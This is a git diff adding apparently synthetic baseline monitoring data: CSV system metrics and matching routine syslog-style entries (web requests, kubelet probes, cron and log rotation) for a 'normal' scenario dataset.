compressing /var/log/web-app/access.log.1 +Aug 22 10:03:46 logrotate[6789]: removing old log /var/log/web-app/access.log.5 +Aug 22 10:03:47 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:03:51 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:04:07 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:27 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 22 10:04:44 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 22 10:05:01 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:18 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 22 10:05:31 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 22 10:05:50 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 22 10:06:11 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:29 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:44 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:54 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:04 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:17 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_2/norm_2_34.csv b/norm_dataset/scenario_2/norm_2_34.csv new file mode 100644 index 0000000000000000000000000000000000000000..15ff9879327de2a1f3f8a507f2009cfc5482052c --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_34.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,17.722953306216628,44.81885164126228,28.986956760704714,1.135334551251528,0.7337964625816215 +2025-07-02T12:00:05Z,16.041478184152112,44.48585414960932,25.666644972587733,1.3531860419239585,0.8307197838152425 +2025-07-02T12:00:10Z,16.901732993250242,39.16128796109681,31.484790844894007,1.4759862021815602,1.1533093994393666 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0000000000000000000000000000000000000000..c085c8cb5400f345a0c7d2e61542693a850e245a --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_34.log @@ -0,0 +1,33 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1001]: GET /api/v1/user/10 status=200 OK +Jul 02 12:00:35 web-app[1002]: GET /api/v1/user/17 status=200 OK +Jul 02 12:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:10 web-app[1003]: GET /api/v1/user/24 status=200 OK +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:45 web-app[1004]: GET /api/v1/user/31 status=200 OK +Jul 02 12:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:20 web-app[1005]: GET /api/v1/user/38 status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:55 web-app[1006]: GET /api/v1/user/45 status=200 OK +Jul 02 12:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:20 CRON[6789]: (root) CMD (logrotate /etc/logrotate.conf) +Jul 02 12:03:20 systemd[1]: Starting Log Rotation... +Jul 02 12:03:25 logrotate[6790]: Rotating pattern: /var/log/web-app.log +Jul 02 12:03:30 logrotate[6790]: compressing /var/log/web-app.log-20250702 +Jul 02 12:03:30 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:30 web-app[1007]: GET /api/v1/user/52 status=200 OK +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:05 web-app[1008]: GET /api/v1/user/59 status=200 OK +Jul 02 12:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:40 web-app[1009]: GET /api/v1/user/16 status=200 OK +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:15 web-app[1010]: GET /api/v1/user/23 status=200 OK +Jul 02 12:05:50 web-app[1011]: GET /api/v1/user/30 status=200 OK +Jul 02 12:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:25 web-app[1012]: GET /api/v1/user/37 status=200 OK +Jul 02 12:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:00 web-app[1013]: GET /api/v1/user/44 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_35.csv b/norm_dataset/scenario_2/norm_2_35.csv new file mode 100644 index 0000000000000000000000000000000000000000..6072869444a9e2fc3628faf0d37ab932d5d963e9 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_35.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.36,42.22,38.11,0.9,0.77 +2025-07-02T12:00:05Z,15.79,38.04,31.63,1.19,1.02 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+2025-07-02T12:06:50Z,16.16,41.68,20.76,0.89,0.77 +2025-07-02T12:06:55Z,16.62,39.89,35.91,1.03,0.87 +2025-07-02T12:07:00Z,17.57,39.44,30.29,0.9,1.02 +2025-07-02T12:07:05Z,15.1,42.08,30.68,1.21,0.87 +2025-07-02T12:07:10Z,17.46,39.38,22.62,1.06,1.11 +2025-07-02T12:07:15Z,19.06,42.84,22.97,1.06,1.43 +2025-07-02T12:07:20Z,14.92,38.69,26.47,0.86,0.97 +2025-07-02T12:07:25Z,17.11,38.03,23.14,1.26,1.08 diff --git a/norm_dataset/scenario_2/norm_2_35.log b/norm_dataset/scenario_2/norm_2_35.log new file mode 100644 index 0000000000000000000000000000000000000000..49f49087f59372ff0ffa5c00fd35ec951fee77ee --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_35.log @@ -0,0 +1,25 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:20 kubelet[2345]: INFO Readiness probe succeeded for pod api-gateway +Jul 02 12:00:40 kubelet[2345]: INFO Readiness probe succeeded for pod api-gateway +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:20 kubelet[2345]: INFO Readiness probe succeeded for pod api-gateway +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:00 kubelet[2345]: INFO Readiness probe succeeded for pod api-gateway +Jul 02 12:02:20 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:02:40 systemd[1]: Started Session 1234 of user root. +Jul 02 12:03:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:03:25 systemd[1]: Starting Log Rotation service... +Jul 02 12:03:30 logrotate[6790]: compressing /var/log/web-app/access.log.1 +Jul 02 12:03:40 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:00 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:05:20 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:05:40 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:06:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:40 systemd[1]: Removed slice User Slice of UID 0. +Jul 02 12:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_2/norm_2_36.csv b/norm_dataset/scenario_2/norm_2_36.csv new file mode 100644 index 0000000000000000000000000000000000000000..a3a8002eadb55c68e383786e903bee63918db5bc --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_36.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.49,45.19,33.13,1.49,1.1 +2025-08-22T10:00:05Z,14.59,46.94,25.71,0.91,1.31 +2025-08-22T10:00:10Z,16.94,43.6,24.65,1.43,0.98 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+2025-08-22T10:06:55Z,13.45,45.68,24.88,1.17,0.98 +2025-08-22T10:07:00Z,12.57,45.55,28.74,1.2,0.74 +2025-08-22T10:07:05Z,13.49,46.65,23.76,1.0,1.13 +2025-08-22T10:07:10Z,17.75,45.03,38.16,1.2,1.07 +2025-08-22T10:07:15Z,15.99,47.91,22.85,1.14,0.81 +2025-08-22T10:07:20Z,13.41,44.47,27.8,1.26,0.9 +2025-08-22T10:07:25Z,16.54,50.44,30.65,1.03,0.79 diff --git a/norm_dataset/scenario_2/norm_2_36.log b/norm_dataset/scenario_2/norm_2_36.log new file mode 100644 index 0000000000000000000000000000000000000000..d9a804d4d7ed2e4721a766e31111647eca77b1b2 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_36.log @@ -0,0 +1,57 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 web-app[1235]: GET /api/v1/user/43 status=200 OK +Aug 22 10:00:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:00:15 web-app[1234]: GET /api/v1/user/23 status=200 OK +Aug 22 10:00:30 web-app[1235]: GET /api/v1/user/36 status=200 OK +Aug 22 10:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:00:45 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 22 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 web-app[1234]: GET /api/v1/user/31 status=200 OK +Aug 22 10:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:15 web-app[1234]: GET /api/v1/user/39 status=200 OK +Aug 22 10:01:30 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 22 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:45 web-app[1235]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:00 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 22 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:15 web-app[1234]: GET /api/v1/user/44 status=200 OK +Aug 22 10:02:30 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 22 10:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:45 web-app[1234]: GET /api/v1/user/31 status=200 OK +Aug 22 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:00 web-app[1235]: GET /api/v1/user/35 status=200 OK +Aug 22 10:03:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:03:15 web-app[1235]: GET /api/v1/user/32 status=200 OK +Aug 22 10:03:30 web-app[1235]: GET /api/v1/user/33 status=200 OK +Aug 22 10:03:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:03:40 CRON[5000]: (root) CMD (run-parts /etc/cron.daily) +Aug 22 10:03:40 systemd[1]: Starting Daily rotation of log files... +Aug 22 10:03:45 web-app[1235]: GET /api/v1/user/35 status=200 OK +Aug 22 10:04:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:00 web-app[1235]: GET /api/v1/user/16 status=200 OK +Aug 22 10:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:04:05 systemd[1]: Finished Daily rotation of log files. +Aug 22 10:04:05 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:04:15 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 22 10:04:30 web-app[1235]: GET /api/v1/user/27 status=200 OK +Aug 22 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:04:45 web-app[1235]: GET /api/v1/user/47 status=200 OK +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:00 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 22 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:05:15 web-app[1235]: GET /api/v1/user/34 status=200 OK +Aug 22 10:05:30 web-app[1234]: GET /api/v1/user/46 status=200 OK +Aug 22 10:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:05:45 web-app[1235]: GET /api/v1/user/19 status=200 OK +Aug 22 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:00 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 22 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:15 web-app[1234]: GET /api/v1/user/31 status=200 OK +Aug 22 10:06:30 web-app[1235]: GET /api/v1/user/34 status=200 OK +Aug 22 10:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:45 web-app[1234]: GET /api/v1/user/22 status=200 OK +Aug 22 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:00 web-app[1235]: GET /api/v1/user/34 status=200 OK +Aug 22 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:07:15 web-app[1235]: GET /api/v1/user/19 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_37.csv b/norm_dataset/scenario_2/norm_2_37.csv new file mode 100644 index 0000000000000000000000000000000000000000..58ecd5ee036caa0c426f4cf8e940dbbd455e39ec --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_37.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,18.41,40.72,30.93,1.12,1.09 +2025-08-24T10:00:05Z,18.56,44.6,25.95,1.45,1.01 +2025-08-24T10:00:10Z,18.06,44.99,24.32,1.33,0.89 +2025-08-24T10:00:15Z,13.58,38.1,28.2,1.17,1.13 +2025-08-24T10:00:20Z,15.24,39.05,32.57,0.86,0.92 +2025-08-24T10:00:25Z,19.36,43.69,27.69,0.91,1.05 +2025-08-24T10:00:30Z,12.36,44.35,21.2,1.14,1.27 +2025-08-24T10:00:35Z,10.6,41.16,21.77,1.11,0.77 +2025-08-24T10:00:40Z,11.75,44.62,32.35,0.87,0.71 +2025-08-24T10:00:45Z,14.1,39.26,22.13,1.46,0.96 +2025-08-24T10:00:50Z,16.76,42.11,34.01,0.93,0.87 +2025-08-24T10:00:55Z,13.11,39.05,32.97,0.81,0.79 +2025-08-24T10:01:00Z,16.09,43.09,22.82,1.46,0.74 +2025-08-24T10:01:05Z,18.94,40.98,31.56,0.91,1.14 +2025-08-24T10:01:10Z,14.46,42.38,33.55,1.17,0.86 +2025-08-24T10:01:15Z,15.94,43.26,20.31,1.11,0.82 +2025-08-24T10:01:20Z,17.47,38.31,27.18,1.35,1.15 +2025-08-24T10:01:25Z,16.61,44.32,27.88,1.07,0.91 +2025-08-24T10:01:30Z,17.05,38.61,21.62,1.28,1.05 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+2025-08-24T10:03:15Z,81.26,41.05,30.34,1.08,1.25 +2025-08-24T10:03:20Z,19.7,40.3,21.06,1.25,1.27 +2025-08-24T10:03:25Z,11.5,39.43,22.65,1.19,0.86 +2025-08-24T10:03:30Z,11.94,39.21,31.65,0.93,0.73 +2025-08-24T10:03:35Z,17.76,42.81,28.02,1.42,0.81 +2025-08-24T10:03:40Z,11.76,42.99,27.84,0.93,0.79 +2025-08-24T10:03:45Z,14.68,40.99,29.57,1.49,0.86 +2025-08-24T10:03:50Z,17.78,41.96,32.55,1.12,1.01 +2025-08-24T10:03:55Z,10.57,39.83,20.54,1.08,1.17 +2025-08-24T10:04:00Z,19.02,39.25,26.44,0.94,1.26 +2025-08-24T10:04:05Z,17.64,42.23,21.93,1.08,0.88 +2025-08-24T10:04:10Z,14.12,41.83,29.91,1.43,1.18 +2025-08-24T10:04:15Z,18.9,41.54,23.56,1.38,0.76 +2025-08-24T10:04:20Z,13.64,39.41,22.41,0.91,1.2 +2025-08-24T10:04:25Z,19.48,44.39,28.25,1.27,0.82 +2025-08-24T10:04:30Z,10.3,43.69,22.59,1.0,1.13 +2025-08-24T10:04:35Z,16.77,42.67,24.35,1.29,0.71 +2025-08-24T10:04:40Z,19.77,40.1,22.15,0.93,1.22 +2025-08-24T10:04:45Z,16.93,44.75,21.71,0.81,0.81 +2025-08-24T10:04:50Z,10.81,41.43,29.35,0.84,0.93 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+2025-08-24T10:06:35Z,10.36,41.46,25.33,0.82,1.19 +2025-08-24T10:06:40Z,10.82,43.6,27.88,1.03,0.8 +2025-08-24T10:06:45Z,14.94,43.45,23.65,0.97,1.22 +2025-08-24T10:06:50Z,17.34,39.05,32.07,1.06,1.28 +2025-08-24T10:06:55Z,10.71,41.66,27.16,1.33,0.8 +2025-08-24T10:07:00Z,10.69,43.59,23.21,1.37,1.3 +2025-08-24T10:07:05Z,14.89,41.46,31.6,0.86,1.2 +2025-08-24T10:07:10Z,17.75,40.52,26.93,1.02,0.89 +2025-08-24T10:07:15Z,15.19,43.34,28.35,1.02,1.21 +2025-08-24T10:07:20Z,14.29,44.11,22.28,1.11,1.01 +2025-08-24T10:07:25Z,12.01,41.04,26.66,1.3,0.83 diff --git a/norm_dataset/scenario_2/norm_2_37.log b/norm_dataset/scenario_2/norm_2_37.log new file mode 100644 index 0000000000000000000000000000000000000000..e859e4989f3e5b4cc2d4d0024142524882dda0ac --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_37.log @@ -0,0 +1,22 @@ +Aug 24 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 24 10:00:24 web-app[1234]: GET /api/v1/products status=200 OK +Aug 24 10:00:48 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:01:10 web-app[1234]: GET /api/v1/products status=200 OK +Aug 24 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:01:51 systemd[1]: Starting daily clean up activities... +Aug 24 10:02:26 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:02:48 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:03:00 CRON[6789]: (root) CMD (run-parts /etc/cron.daily) +Aug 24 10:03:00 systemd[1]: Starting Log Rotation... +Aug 24 10:03:25 logrotate[6791]: INFO: archiving /var/log/web-app/access.log to /var/log/web-app/access.log.1.gz +Aug 24 10:03:25 logrotate[6791]: INFO: rotating pattern: /var/log/web-app/*.log weekly (4 rotations) +Aug 24 10:03:25 systemd[1]: logrotate.service: Succeeded. +Aug 24 10:03:49 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 24 10:04:17 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:04:38 web-app[1234]: POST /api/v1/login status=201 Created +Aug 24 10:05:14 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 24 10:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:05:53 systemd[1]: Starting daily clean up activities... +Aug 24 10:06:19 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:06:51 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:07:16 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_38.csv b/norm_dataset/scenario_2/norm_2_38.csv new file mode 100644 index 0000000000000000000000000000000000000000..737cd8798e89c251d6851be6ba234eb7f3342270 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_38.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,19.35,35.04,34.37,0.94,1.39 +2025-08-24T10:00:05Z,12.23,38.74,22.95,1.03,1.14 +2025-08-24T10:00:10Z,13.15,43.81,20.14,1.11,0.53 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+2025-08-24T10:06:55Z,18.8,41.11,35.08,1.05,1.49 +2025-08-24T10:07:00Z,18.13,42.5,25.61,1.48,1.34 +2025-08-24T10:07:05Z,14.73,39.13,35.17,0.85,0.8 +2025-08-24T10:07:10Z,18.46,35.43,24.1,0.53,1.3 +2025-08-24T10:07:15Z,16.78,37.25,38.19,1.39,1.24 +2025-08-24T10:07:20Z,17.97,39.22,39.68,0.52,0.54 +2025-08-24T10:07:25Z,11.02,36.16,35.79,1.08,1.41 diff --git a/norm_dataset/scenario_2/norm_2_38.log b/norm_dataset/scenario_2/norm_2_38.log new file mode 100644 index 0000000000000000000000000000000000000000..621cd85fa08dcf36c29470c55f7c3a8a2a00c403 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_38.log @@ -0,0 +1,37 @@ +Aug 24 10:00:00 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:00:00 systemd[1]: Starting clean up of old temporary directories... +Aug 24 10:00:00 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:00:20 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:00:35 systemd[1]: Starting clean up of old temporary directories... +Aug 24 10:00:40 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:00:50 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:01:00 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:01:10 systemd[1]: Starting clean up of old temporary directories... +Aug 24 10:01:20 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:01:40 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:01:40 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:01:45 systemd[1]: Starting clean up of old temporary directories... +Aug 24 10:02:00 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:02:20 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:02:20 systemd[1]: Starting clean up of old temporary directories... +Aug 24 10:02:30 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:02:40 web-app[1357]: GET /api/v1/user/8 status=200 OK +Aug 24 10:02:55 systemd[1]: Starting clean up of old temporary directories... +Aug 24 10:03:00 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 10:03:00 systemd[1]: Starting Log Rotation... +Aug 24 10:03:10 systemd[1]: logrotate.service: Succeeded. +Aug 24 10:03:20 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:03:45 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:03:45 systemd[1]: Finished clean up of old temporary directories. +Aug 24 10:04:10 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:04:30 systemd[1]: Finished clean up of old temporary directories. +Aug 24 10:04:35 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:05:00 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:05:15 systemd[1]: Finished clean up of old temporary directories. +Aug 24 10:05:25 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:05:50 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:06:00 systemd[1]: Finished clean up of old temporary directories. +Aug 24 10:06:15 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:06:40 web-app[1357]: GET /api/v1/metrics status=200 OK +Aug 24 10:06:45 systemd[1]: Finished clean up of old temporary directories. +Aug 24 10:07:05 web-app[1357]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_39.csv b/norm_dataset/scenario_2/norm_2_39.csv new file mode 100644 index 0000000000000000000000000000000000000000..97209f97a98c9e6098303597273cb37af17cb7e2 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_39.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.745401188473625,36.19594245938302,26.82132702100517,1.3093611554785136,0.8881699262065219 +2025-08-22T10:00:05Z,19.50714306409916,42.132447872229946,22.269470424811782,1.3101133946791808,1.1432882184423532 +2025-08-22T10:00:10Z,17.31993941811405,42.60785048616897,38.49387236557126,1.3670723185801037,0.9582528904915166 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+2025-08-22T10:06:55Z,10.635583502860236,37.26495775197938,30.366593047274733,0.6629344270814297,0.8706421470668909 +2025-08-22T10:07:00Z,13.109823217156622,41.4517279040945,37.54746143855911,0.5705687474004298,1.3127995672575026 +2025-08-22T10:07:05Z,13.251833220267471,36.743664290049914,34.81537235508409,1.1424192782063156,1.4472485773838586 +2025-08-22T10:07:10Z,17.29606178338064,41.90937738102466,33.94031481990536,0.5265113105416218,1.486001063822871 +2025-08-22T10:07:15Z,16.375574713552133,38.86735346300537,34.049681679742186,1.0857755812734633,1.2533781852589416 +2025-08-22T10:07:20Z,18.872127425763267,44.367299887367345,27.189823024395103,1.4402302414249575,0.8762595855309158 +2025-08-22T10:07:25Z,14.722149251619493,36.37520944145993,25.871836885289866,1.075474177875879,0.5835007166986688 diff --git a/norm_dataset/scenario_2/norm_2_39.log b/norm_dataset/scenario_2/norm_2_39.log new file mode 100644 index 0000000000000000000000000000000000000000..e803a3208b5699b9fa6e78219be515f12ce88a9f --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_39.log @@ -0,0 +1,92 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:05 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:30 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:00:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:55 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:01:20 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:01:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:01:45 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:01:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:55 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:02:10 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:02:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:02:35 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:02:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:00 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:03:05 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:03:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:25 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:03:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:03:45 systemd[1]: Starting Log Rotation... +Aug 22 10:03:45 logrotate[7890]: Reading configuration file /etc/logrotate.conf +Aug 22 10:03:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:55 logrotate[7890]: compressing /var/log/web-app.log +Aug 22 10:03:55 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:04:00 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 22 